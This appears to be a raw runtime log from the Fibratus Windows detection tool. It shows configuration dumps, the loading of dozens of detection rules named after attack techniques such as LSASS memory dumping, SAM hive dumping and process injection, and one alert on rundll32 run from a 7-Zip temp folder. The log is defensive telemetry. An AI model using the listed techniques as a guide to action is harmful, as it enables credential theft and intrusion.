HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T15:39:54+01:00 level=info msg=bootstrapping with pid 18468. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T15:39:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ flush-interval=>1s enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true buffer-size=>512 stack-enrichment=>true enable-threadpool=>false max-buffers=>36 enable-dns=>false enable-handle=>false min-buffers=>16 enable-mem=>false enable-net=>true enable-audit-api=>true enable-vamap=>true enable-image=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text log-stdout=>true max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus gzip-compression=>false enabled=>false sniff=>false healthcheck=>true trace-log=>false bulk-workers=>1 timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s] http=>[ serializer=>json enable-gzip=>false endpoints=>[] timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] amqp=>[ durable=>false exchange-type=>topic passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/ timeout=>5s exchange=>fibratus]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false excluded-files=>[] skip-allocs=>false excluded-procs=>[] skip-files=>false skip-mmaps=>false fastscan=>true enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T15:39:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:39:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:40:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T15:40:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:40:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:41:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_compressed_file_via_explorer.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-12T15:41:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-12T15:41:30+01:00 level=info msg=bootstrapping with pid 744. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-12T15:41:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true max-buffers=>36 enable-threadpool=>false flush-interval=>1s buffer-size=>512 stack-enrichment=>true enable-fileio=>true enable-mem=>false enable-audit-api=>true enable-thread=>true enable-registry=>true enable-dns=>false enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true min-buffers=>16 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-backups=>15 log-stdout=>true formatter=>text max-age=>0] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 healthcheck=>true trace-log=>false timeout=>5s healthcheck-interval=>10s index-name=>fibratus sniff=>false gzip-compression=>false enabled=>false servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus healthcheck-timeout=>5s] amqp=>[ delivery-mode=>transient passive=>false exchange=>fibratus vhost=>/ exchange-type=>topic enabled=>false url=>amqp://localhost:5672 timeout=>5s durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false] http=>[ serializer=>json method=>POST enable-gzip=>false enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-registry=>false fastscan=>true excluded-files=>[] skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-12T15:41:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:41:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-12T15:41:41+01:00 level=info msg=sending alert: [Process execution from compressed file via explorer]. Text: Event(s): + Seq: 3564395 + Pid: 6884 + Tid: 17300 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-12 15:41:36.8292762 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Temp\7zO4EA15FFF\rundll32.exe" , directory_table_base➜ 3e422f000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Temp\7zO4EA15FFF\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffd506ee4c2080, name➜ rundll32.exe, pid➜ 10820, ppid➜ 6884, real_ppid➜ 6884, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-12 15:41:36.8292762 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 1762958575212440172, rule.name: Process execution from compressed file via explorer, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 6884 + Ppid: 4496 + Name: 7zFM.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\nedo\Downloads\rundll32.7z" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\7-Zip\7zFM.exe + Cwd: C:\Users\nedo\Downloads\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\7-Zip\7zFM.exe" "C:\Users\nedo\Downloads\rundll32.7z"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4496_1262719628:1 EFC_4496_1592913036:1 EFC_4496_2283032206:1 EFC_4496_2775293581:1 EFC_4496_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\7-Zip\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-12T15:42:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-12T15:42:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:42:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-12T15:45:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-12T15:45:28+01:00 level=info 